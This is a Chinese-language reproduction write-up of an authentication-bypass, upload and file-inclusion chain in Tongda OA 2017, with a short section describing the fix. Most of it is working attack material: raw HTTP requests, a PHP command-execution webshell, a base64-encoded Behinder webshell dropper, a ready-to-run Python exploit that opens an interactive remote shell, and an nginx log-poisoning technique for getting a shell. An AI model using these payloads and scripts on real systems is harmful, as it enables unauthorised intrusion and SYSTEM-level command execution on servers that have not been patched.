一、原理

1.文件上传

漏洞位置：/ispirit/im/upload.php

(1) 身份绕过

如果设置了P参数，则跳过auth.php：

(2) 文件上传：

上传过滤了php，因为通达oa一般使用的是windows，所以可以使用php.绕过。不过由于上传目录不在根目录，所以还是需要进行文件包含。

2.文件包含

漏洞位置：/ispirit/interface/gateway.php(2013版)

/mac/gateway.php(2017版)

二、复现

1.版本

复现使用版本：通达OA 2017版

下载地址：http://www.tongda2000.com/download/2017.php

•        不同版本下gateway.php的位置不一样，具体可以下载对应版本的源码查看，将下载地址中的“2017”改为其他年份即可。

2.步骤

(1) 下载安装

安装好后，网站的php源码进行了zend加密，可以利用在线网站解密后打开：

•        http://dezend.qiling.org/free.html

(2) 访问/ispirit/im/upload.php

抓包：

GET /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=17233

Upgrade-Insecure-Requests: 1将GET改为POST，并添加Content-Type和数据：

POST /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=7087

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 556

Content-Type: multipart/form-data; boundary=--------1673801018

----------1673801018

Content-Disposition: form-data; name="UPLOAD_MODE"

2

----------1673801018

Content-Disposition: form-data; name="P"

123

----------1673801018

Content-Disposition: form-data; name="DEST_UID"

2

----------1673801018

Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"

Content-Type: image/jpeg

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

----------1673801018--response：

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2020 03:24:11 GMT

Content-Type: text/html; charset=gbk

Connection: close

Vary: Accept-Encoding

Set-Cookie: PHPSESSID=123; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Content-Length: 39

+OK [vm]2873@2004_1822376441|jpg|0[/vm]成功上传截图：

(3) 访问/mac/gateway.php

抓包：

GET /mac/gateway.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=17233

Upgrade-Insecure-Requests: 1将GET改为POST，并添加Content-Type和数据，注意替换文件名：

POST /mac/gateway.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=7087

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

json={"url":"/general/../../attach/im/2004/1822376441.jpg"}&cmd=whoamiresponse：

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2020 03:28:17 GMT

Content-Type: text/html; charset=gbk

Connection: close

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

Content-Length: 21

nt authority\system命令执行截图：

(4) 上传冰蝎马

将上传文件的内容替换为：

$fp = fopen('readme.php', 'w');

$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");

fwrite($fp, $a);

fclose($fp);

?>上传并进行文件包含后，会在gateway.php的目录下生成一个readme.php的冰蝎马：

冰蝎成功连接：

三、python3脚本

From：https://www.cnblogs.com/yuyan-sec/p/12549237.html

import requests,sys

def poc():

global url

upload = url+"/ispirit/im/upload.php"

cmdshell = """

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

"""

files = {"ATTACHMENT": cmdshell}

upload_post = {

"UPLOAD_MODE":2,

"P":123,

"DEST_UID":2

}

r = requests.post(upload,upload_post,files=files)

path = r.text

path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")

return path

def exp():

global url

path = poc()

headers = {

"Content-Type":"application/x-www-form-urlencoded"

}

include = url+"/mac/gateway.php"

while 1:

cmd = input("$ ")

include_post = 'json={"url":"/general/../../attach/im/'+path+'"}&cmd=%s' % cmd

req = requests.post(url=include, data=include_post,headers=headers)

print(req.text)

if cmd == 'exit':

break

if __name__ == '__main__':

try:

url = sys.argv[1]

print("""

______   ___   ____    ____      ___     ____      ____      __    ___

|      | /   \ |    \  /    |    |   \   /    |    |    \    /  ]  /  _]

|      ||     ||  _  ||   __|    |    \ |  o  |    |  D  )  /  /  /  [_

|_|  |_||  O  ||  |  ||  |  |    |  D  ||     |    |    /  /  /  |    _]

|  |  |     ||  |  ||  |_ |    |     ||  _  |    |    \ /   \_ |   [_

|  |  |     ||  |  ||     |    |     ||  |  |    |  .  \\     ||     |

|__|   \___/ |__|__||___,_|    |_____||__|__|    |__|\_| \____||_____|

""")

# poc()

exp()

except:

print("ERROR")

四、修复

upload.php中，删掉了else判断，直接包含/auth.php

if(isset($P) || $P!="")

{

ob_start();

include_once("inc/session.php");

session_id($P);

session_start();

session_write_close();

}

include_once("./auth.php");gateway.php中，url参数过滤了".."

if (strpos($url, "..") !== false) {

echo _("ERROR URL");

exit();

}五、利用nginx日志getshell

抓包，发送一句话木马。注意不能直接在浏览器访问，因为符号会被浏览器编码。

本地测试环境下可以查看nginx日志，发现一句话被记录：

蚁剑连接地址：

http://127.0.0.1/mac/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}

TVC 3